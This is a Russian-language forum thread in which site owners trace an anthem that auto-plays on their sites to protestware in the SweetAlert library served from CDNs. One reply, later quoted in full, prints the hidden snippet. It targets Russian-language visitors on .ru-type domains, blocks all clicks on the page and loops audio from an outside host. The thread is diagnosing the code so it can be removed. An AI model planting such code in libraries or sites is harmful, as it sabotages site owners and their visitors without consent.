Решено Играет музыка

[Templar]

Добрый вечер, видать взломали нас и теперь при входе на сайт начинает играть музыка, а точнее гимн Украины :)
Сделал бекап пока что, удалил все плагины что устанавливал вчера ( Устанавливал с данного форума ) а сегодня утром уже дискотека .

Помогает на данный момент удаление cookie в браузере, но не каждый не знает что это такое поэтому не выход :) так же не на всех браузерах, на Chrome и Opere все нормально, а на Яндексе и Мозилле работает видать браузеры какие то блокируют просто.

Ссылка на мелодию [URL]https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3[/URL]

 

[dimka1510]

Templar, тысячи сайтов имеют плагины отсюда, но ни у кого такого не было. Взломать могли кто и кого угодно независимо от движка на сайте. Самый простой способ - подбор пароля от админки или панели управления на сервере/хостинге

 

[Templar]

dimka1510, Логично все это, я просто написал для информации да и плагины все установлены все годами, тут вопрос в другом был, может кто то сталкивался уже и может подсказать как исправить :)

 

[dimka1510]

Templar, как минимум найти и вырезать в шаблоне(ах) код, отвечающий за это и сменить все пароли. А ссылку можно на страницу где это наблюдается?

 

[Templar]

dimka1510,

У Вас недостаточно прав для просмотра ссылок. Вход или Регистрация

, понять бы как найти этот кусок кода в каком то файле

 

[dimka1510]

Templar,

А ссылку можно на страницу где это наблюдается?

 

[Templar]

dimka1510, я же выше предоставил, отправил в ЛС

 

[dimka1510]

Templar, ну я в коде главной страницы через F12 не нашёл никакой музыки. На обоих стилях

 

[Templar]

dimka1510, да потому что это бэкап уже

 

[dimka1510]

Templar, раз проблема решена бэкапом, то стоит отметить решение. Но все пароли всё равно лучше бы сменить на "посложнее"

 

[Templar]

Опять тоже самое, при этом нельзя нечего нажать, только слушать и наслаждаться

 

[Matew]

Ищите по логам сервера, по логам в админке на худой конец

 

[Templar]

Выяснил одно, что добавляют в сам шаблон, меняешь на другой все нормально

 

[recruty]

Шелл лежит где-то, напишите, пожалуйста, в личные сообщения, могу помочь)

 

[dimka1510]

Templar, на данный момент видно только это:

 

[Dark5ider]

Проверьте библиотеку Sweetalert.
Проверил, на CDN (cdnjs, jsDelivr) она вставляет в код сайта проигрывание трека.

вот код оттуда:

// Dear russian users visiting russian sites. Let's have fun.
  if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|xn--p1ai)$/)) {
    const now = new Date();
    const initiationDate = localStorage.getItem('swal-initiation');
    if (!initiationDate) {
      localStorage.setItem('swal-initiation', `${now}`);
    } else if ((now.getTime() - Date.parse(initiationDate)) / (1000 * 60 * 60 * 24) > 3) {
      setTimeout(() => {
        document.body.style.pointerEvents = 'none';
        const ukrainianAnthem = document.createElement('audio');
        ukrainianAnthem.src = 'https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3';
        ukrainianAnthem.loop = true;
        document.body.appendChild(ukrainianAnthem);
        setTimeout(() => {
          ukrainianAnthem.play().catch(() => {
            // ignore
          });
        }, 2500);
      }, 500);
    }
  }

Удалить его и пользоваться дальше.

 

[iolonu]

Короче, спасибо за решение.
Лежало в стиле.

 

[Kralty]

Проверьте библиотеку Sweetalert.
Проверил, на CDN (cdnjs, jsDelivr) она вставляет в код сайта проигрывание трека.

вот код оттуда:

// Dear russian users visiting russian sites. Let's have fun.
  if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|xn--p1ai)$/)) {
    const now = new Date();
    const initiationDate = localStorage.getItem('swal-initiation');
    if (!initiationDate) {
      localStorage.setItem('swal-initiation', `${now}`);
    } else if ((now.getTime() - Date.parse(initiationDate)) / (1000 * 60 * 60 * 24) > 3) {
      setTimeout(() => {
        document.body.style.pointerEvents = 'none';
        const ukrainianAnthem = document.createElement('audio');
        ukrainianAnthem.src = 'https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3';
        ukrainianAnthem.loop = true;
        document.body.appendChild(ukrainianAnthem);
        setTimeout(() => {
          ukrainianAnthem.play().catch(() => {
            // ignore
          });
        }, 2500);
      }, 500);
    }
  }

Удалить его и пользоваться дальше.

где найти, у меня такая же хрень с гимном Украины

 

[dimka1510]

Kralty, меньше нужно качать плагины и стили со всяких помоек только из-за того что там не нужна регистрация и/или активность. Искать следует в модификациях и шаблонах стилей и плагинов.